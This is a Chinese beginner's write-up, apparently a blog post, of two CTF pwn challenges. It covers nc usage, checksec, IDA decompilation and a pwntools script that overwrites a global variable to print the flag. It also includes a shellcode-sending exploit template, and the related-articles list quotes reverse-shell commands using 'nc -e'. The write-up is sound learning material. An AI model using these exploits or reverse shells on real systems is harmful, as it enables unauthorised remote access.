初识 pwn(get_shell、hello_pwn)

简介: 初识 pwn(get_shell、hello_pwn)

1、get_shell

Linux的nc命令,用于设置路由器


参数及作用:


  • -g<网关> 设置路由器跃程通信网关,最多可设置8个。
  • -G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
  • -h 在线帮助。
  • -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
  • -l 使用监听模式,管控传入的资料。
  • -n 直接使用IP地址,而不通过域名服务器。
  • -o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
  • -p<通信端口> 设置本地主机使用的通信端口。
  • -r 乱数指定本地与远端主机的通信端口。
  • -s<来源位址> 设置本地主机送出数据包的IP地址。
  • -u 使用UDP传输协议。
  • -v 显示指令执行过程。
  • -w<超时秒数> 设置等待连线的时间。
  • -z 使用0输入/输出模式,只在扫描通信端口时使用。


nc IP地址 端口号


ls展开


直接看到flag


使用cat命令获取

加一个-nv看着更清楚


此题并没有用到给的附件

2、hello_pwn

进去发现无论执行什么都是直接退出了

下载附件,拖进kali检查一下保护机制

checksec的用法:

checksec --file=文件绝对路径

发现只启用了 NX(No eXecute,数据不可执行)保护机制,其基本原理是将数据所在内存页标识为不可执行。


Linux中cookie信息称为canary,canary栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行,攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。


将下载附件在IDA pro 中打开,先找到主函即main函数

按F5进行反编译

发现当 dword_60106C == 1853186401 时,程序就会执行 sub_400686()函数

查看sub_400686()函数

发现如果调用sub_400686函数就会cat flag,这里只需将将dword_60106C的值覆盖为 1853186401就能拿到flag。

进入unk_601068和dword_60106c查看两者相距四个字节

编写exp脚本:


#!/usr/bin/env python
# coding=utf-8
from pwn import *
r = remote('IP地址',端口号)
a = r.recvuntil('f\n')
print(a)
r.send('AAAAaaun')
flag = r.recvuntil('\n')
print(flag)

权限不够的话我们使用chmod命令处理

使用 ./ 或者python 都可以执行


执行成功后即可看到flag


使用pythonpwntools是一个ctf框架和漏洞利用开发库,用Python开发,由rapid设计,旨在让使用者简单快速的编写exploit。


使用 from pwn import * 将所有的模块导入到当前namespace,并把os,sys等常用的系统库导入。


exp脚本大致框架:


from pwn import *      

context(arch = 'i386', os = 'linux')           // 导入pwntools模块


r = remote('exploitme.example.com', 31337)       // 设置目标机的信息

# EXPLOIT CODE GOES HERE

r.send(asm(shellcraft.sh()))

r.interactive()         // 将控制权交给用户就可以使用打开的shell了


context环境功能设置:


context(os='linux', arch='amd64', log_level='debug')


os将系统设置为linux;


arch将架构设置为amd64,32位模式是'i386';


log_level将日志输出的等级设置为debug,避免一些IO错误。

目录
相关文章
|
1月前
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
38 0
|
4天前
|
安全 Shell
ISCC2024--pwn
ISCC2024--pwn
6 0
|
8月前
|
安全 网络协议 Shell
[笔记]Windows安全之《一》反弹Shell
[笔记]Windows安全之《一》反弹Shell
|
存储 运维 监控
「速通Shell」初次走近Shell,Shell是什么?
对于开发者来说,除了掌握Java、C/C++等主要编程语言外,还需要掌握支撑性的工具语言和库,学习和掌握Shell,能够帮助我们高效便捷的编译和运行程序,让系统代替复杂的人工操作。
71 0
「速通Shell」初次走近Shell,Shell是什么?
|
弹性计算 Shell Linux
3天玩转shell--1.shell基础掌握
本文将通过shell代码示例,简单通俗的讲解shell。通过执行代码和运行结果反向掌握shell编程方法。准备一台低配的阿里云ECS Linux环境,跟着教程走起,本文比较适合shell小白。
|
存储 Shell vr&ar
c shell 学习记录(csh)
c shell 学习记录(csh)
|
网络协议 Java Shell
使用nc及bash进行反弹shell的简单实践
使用nc及bash进行反弹shell的简单实践
531 0
使用nc及bash进行反弹shell的简单实践
|
安全 网络协议 Shell
2022渗透测试-反弹shell的详细讲解
2022渗透测试-反弹shell的详细讲解
2022渗透测试-反弹shell的详细讲解
|
Shell Linux 程序员
《Linux 命令行与 shell 脚本编程大全》收官
《Linux 命令行与 shell 脚本编程大全》收官
227 0
《Linux 命令行与 shell 脚本编程大全》收官
|
Shell PHP Perl
Shell脚本基础及常用的四剑客
本篇内容记录了一些语句的代码编写和应用。
179 0